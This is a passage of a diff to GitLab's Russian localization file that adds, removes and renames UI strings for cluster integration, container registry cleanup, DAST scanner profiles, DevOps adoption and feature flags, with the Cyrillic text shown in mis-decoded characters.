msgstr "Завершить цель"
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr "Закрыть Ñтап"
@@ -5804,6 +5974,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr "%{appList} уÑпешно уÑтановлены на вашем клаÑтере Kubernetes"
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5912,6 +6085,9 @@ msgstr "Блокирующий режим"
msgid "ClusterIntegration|CA Certificate"
msgstr "Сертификат удоÑтоверÑющего центра"
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -6170,9 +6346,6 @@ msgstr "КлаÑтер группы"
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr "Helm Tiller"
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6275,6 +6448,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr "Узнайте больше о ÑкземплÑрах клаÑтеров Kubernetes"
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr "Загрузка ролей IAM"
@@ -6608,8 +6784,8 @@ msgstr "URL, иÑпользуемый Ð´Ð»Ñ Ð´Ð¾Ñтупа к API Kubernetes."
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
-msgstr "СвÑзанный под Tiller, проÑтранÑтво имён %{gitlabManagedAppsNamespace} и вÑе его реÑурÑÑ‹ будут удалены без возможноÑти воÑÑтановлениÑ."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
+msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
msgstr ""
@@ -6951,6 +7127,9 @@ msgstr "Коммит (при редактировании опиÑÐ°Ð½Ð¸Ñ ÐºÐ¾Ð
msgid "Commit Message"
msgstr "ОпиÑание коммита"
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr "Коммит удален"
@@ -7074,9 +7253,6 @@ msgstr "Панель ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ñлужбы комплаенÑа"
msgid "Compliance framework (optional)"
msgstr "Фреймворк комплаенÑа (необÑзательно)"
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7248,6 +7424,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr "СвÑзатьÑÑ Ñ Ð¾Ñ‚Ð´ÐµÐ»Ð¾Ð¼ продаж Ð´Ð»Ñ Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ"
@@ -7272,8 +7451,8 @@ msgstr "РееÑÑ‚Ñ€ контейнеров не включен в Ñтом Ñк
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
-msgstr "Объем Ñинхронизации рееÑтра контейнеров"
+msgid "Container repositories synchronization concurrency limit"
+msgstr ""
msgid "Container repository"
msgstr ""
@@ -7304,6 +7483,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr "Собрать образ"
@@ -7379,6 +7561,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr "Вход"
@@ -7388,6 +7579,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr "КоличеÑтво тегов Ð´Ð»Ñ ÑохранениÑ:"
@@ -7413,7 +7613,16 @@ msgstr[1] "Удалить тега"
msgstr[2] "Удалить тегов"
msgstr[3] "Удалить тегов"
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7422,6 +7631,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr "Что-то пошло не так при извлечении ÑпиÑка репозиториев."
@@ -7443,21 +7655,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr "Политика иÑÑ‚ÐµÑ‡ÐµÐ½Ð¸Ñ Ñ‚ÐµÐ³Ð¾Ð²"
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr "Теги Ñ Ð¸Ð¼ÐµÐ½Ð°Ð¼Ð¸, ÑоответÑтвующими Ñтому регулÑрному выражению, будут %{italicStart}проÑрочены:%{italicEnd}"
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8248,9 +8469,6 @@ msgstr "ÐаÑтроить цвета"
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr "ÐаÑтройка значка"
@@ -8311,6 +8529,9 @@ msgstr "Ð—Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние закрыт"
msgid "CycleAnalyticsEvent|Merge request created"
msgstr "Создан Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние"
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr "Ð—Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние впервые развернут в продукцию"
@@ -8438,9 +8659,6 @@ msgstr "Выпадающий фильтр проекта"
msgid "CycleAnalytics|stage dropdown"
msgstr "Выпадающий ÑпиÑок Ñтапов"
-msgid "DAG"
-msgstr "DAG"
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8489,7 +8707,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8516,9 +8737,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8540,15 +8758,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8582,9 +8800,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8618,64 +8845,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validated"
+msgstr ""
+
+msgid "DastSiteValidation|Validating..."
+msgstr ""
+
+msgid "DastSiteValidation|Validation failed"
+msgstr ""
+
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8789,9 +9037,6 @@ msgstr ""
msgid "Default stages"
msgstr "Этапы по умолчанию"
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8816,8 +9061,8 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
-msgstr "Ð’Ñ‹ уверены, что вы хотите запуÑтить %{jobName} Ñразу? Ð’ противном Ñлучае Ñто задание будет выполнено автоматичеÑки по завершению таймера."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
+msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
msgstr "Ð’Ñ‹ уверены, что вы хотите запуÑтить %{job_name} Ñразу? Это задание будет выполнено автоматичеÑки по завершению таймера."
@@ -8900,9 +9145,6 @@ msgstr ""
msgid "Delete variable"
msgstr "Удалить переменную"
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9320,6 +9562,9 @@ msgstr "не удалоÑÑŒ"
msgid "Deployment|running"
msgstr "запущено"
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr "уÑпешно"
@@ -9338,6 +9583,9 @@ msgstr "Опишите требование здеÑÑŒ"
msgid "Description"
msgstr "ОпиÑание"
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr "ОпиÑание обработано Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ %{link_start}GitLab Flavored Markdown%{link_end}"
@@ -9374,6 +9622,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr "Добавление Ñтруктуры Ñ Ñ‚ÐµÐ¼ же именем файла заменÑет файл в новой верÑии."
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9431,6 +9682,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9509,15 +9763,9 @@ msgstr "ПодробноÑти (по умолчанию)"
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9527,15 +9775,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9726,9 +10043,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr "Dockerfile"
@@ -9801,9 +10115,6 @@ msgstr ""
msgid "Download as"
msgstr "Скачать как"
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr "Скачать коды"
@@ -9852,9 +10163,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9960,6 +10277,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -10035,6 +10355,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -10065,6 +10388,9 @@ msgstr "Отправить по Ñлектронной почте Ñообщен
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr "Похоже, что ÑÐ»ÐµÐºÑ‚Ñ€Ð¾Ð½Ð½Ð°Ñ Ð¿Ð¾Ñ‡Ñ‚Ð° пуÑта. УбедитеÑÑŒ, что ваш ответ находитÑÑ Ð²Ð²ÐµÑ€Ñ…Ñƒ пиÑьма, мы не можем обрабатывать вÑтроенные ответы."
@@ -10137,8 +10463,8 @@ msgstr "ПуÑтой файл"
msgid "Enable"
msgstr "Включить"
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
-msgstr "Включите интеграцию Ñ %{link_start}Gitpod%{link_end}, чтобы запуÑкать Ñреды разработки в браузере прÑмо через GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgstr ""
msgid "Enable Auto DevOps"
msgstr "Включить Auto DevOps"
@@ -10155,6 +10481,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr "Включить ограничение на количеÑтво входÑщих оповещений в Управлении инцидентами"
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10506,6 +10835,9 @@ msgstr "Ð’ наÑтоÑщее Ð²Ñ€ÐµÐ¼Ñ Ð¿Ð¾ÐºÐ°Ð·Ð°Ð½Ñ‹ вÑе результÐ
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10617,6 +10949,9 @@ msgstr "ОÑтановить окружение"
msgid "Environments|Stopping"
msgstr "ОÑтановка"
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr "Произошла ошибка при извлечении журналов. ПожалуйÑта, попробуйте ещё раз."
@@ -10854,9 +11189,6 @@ msgstr "Ошибка загрузки шаблона."
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr "Произошла ошибка при получении данных боковой панели"
@@ -10893,6 +11225,9 @@ msgstr "Произошла ошибка. Пользователь не был р
msgid "Error occurred. User was not unlocked"
msgstr "Произошла ошибка. Пользователь не был разблокирован"
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10971,6 +11306,9 @@ msgstr "Чтобы включить выбор проекта, введите п
msgid "Errors"
msgstr "Ошибки"
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr "Ошибки:"
@@ -11205,6 +11543,9 @@ msgstr ""
msgid "Export as CSV"
msgstr "ЭкÑпортировать в CSV"
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11313,6 +11654,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr "Ðе удалоÑÑŒ Ñоздать ветку Ð´Ð»Ñ Ñтого обÑуждениÑ. ПожалуйÑта, попробуйте ещё раз."
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11448,6 +11792,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr "Ðе удалоÑÑŒ ÑброÑить ключ. ПожалуйÑта, попробуйте ещё раз."
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11487,6 +11834,9 @@ msgstr "Ошибка Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ Ð¾Ð±Ñуждений, пожалуйÑ
msgid "Failed to update tag!"
msgstr "Ðе удалоÑÑŒ обновить метку!"
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11526,12 +11876,18 @@ msgstr ""
msgid "Feature Flags"
msgstr "Функциональные опции"
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11701,6 +12057,9 @@ msgstr "Ðовый переключатель функциональной опÑ
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11725,9 +12084,6 @@ msgstr "Процент развертываниÑ"
msgid "FeatureFlags|Rollout Strategy"
msgstr "Ð¡Ñ‚Ñ€Ð°Ñ‚ÐµÐ³Ð¸Ñ Ñ€Ð°Ð·Ð²ÐµÑ€Ñ‚Ñ‹Ð²Ð°Ð½Ð¸Ñ"
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11788,6 +12144,9 @@ msgstr "Фев."
msgid "February"
msgstr "Февраль"
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11830,7 +12189,7 @@ msgstr "Ð˜Ð¼Ñ Ñ„Ð°Ð¹Ð»Ð°"
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11956,12 +12315,6 @@ msgstr "ПоиÑк учаÑтников"
msgid "Find file"
msgstr "Ðайти файл"
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr "Отпечаток"
@@ -11986,9 +12339,6 @@ msgstr "Первый день недели"
msgid "First name"
msgstr "ИмÑ"
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -12034,9 +12384,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr "Выполните Ñледующие дейÑтвиÑ, чтобы ÑкÑпортировать данные проекта Google Code."
-
msgid "Font Color"
msgstr "Цвет Шрифта"
@@ -12121,6 +12468,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr "Ðайдены ошибки в вашем .gitlab-ci.yml:"
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr "БеÑплатный пробный период"
@@ -12148,9 +12498,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr "Из Google Code"
-
msgid "From issue creation until deploy to production"
msgstr "От ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð¾Ð±ÑÑƒÐ¶Ð´ÐµÐ½Ð¸Ñ Ð´Ð¾ Ñ€Ð°Ð·Ð²ÐµÑ€Ñ‚Ñ‹Ð²Ð°Ð½Ð¸Ñ Ñ€ÐµÐ°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ð¸ в рабочей Ñреде"
@@ -12637,6 +12984,9 @@ msgstr "GitLab / ОтпиÑатьÑÑ"
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12670,6 +13020,9 @@ msgstr "Пользователь GitLab"
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr "Коммит GitLab"
@@ -12880,15 +13233,12 @@ msgstr "ВернутьÑÑ"
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr "Ðа веÑÑŒ Ñкран"
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -13003,12 +13353,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr "Импорт из Google Code"
-
-msgid "Google Takeout"
-msgstr "Google Takeout"
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13243,6 +13587,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr "Без начальной даты – %{dateWord}"
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr "Что-то пошло не так при извлечении целей"
@@ -13636,12 +13986,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr "Вы уверены, что вы хотите покинуть группу \"%{fullName}\"?"
-msgid "GroupsTree|Create a project in this group."
-msgstr "Создать проект в Ñтой группе."
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr "Создать подгруппу в Ñтой группе."
-
msgid "GroupsTree|Edit group"
msgstr "Редактировать группу"
@@ -13717,6 +14061,9 @@ msgstr "Проблем работоÑпоÑобноÑти не обнаружеÐ
msgid "HealthCheck|Unhealthy"
msgstr "ÐеÑтабильный"
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr "Привет"
@@ -13872,9 +14219,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr "Однако вы уже ÑвлÑетеÑÑŒ учаÑтником Ñтого %{member_source}. Войдите, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ð´Ñ€ÑƒÐ³Ð¾Ð¹ аккаунт, чтобы принÑÑ‚ÑŒ приглашение."
@@ -14016,6 +14360,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr "ЕÑли вы иÑпользуете GitHub, вы увидите ÑтатуÑÑ‹ Ñборочных линии в GitHub Ð´Ð»Ñ Ñвоих коммитов и запроÑов на ÑлиÑние. %{more_info_link}"
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
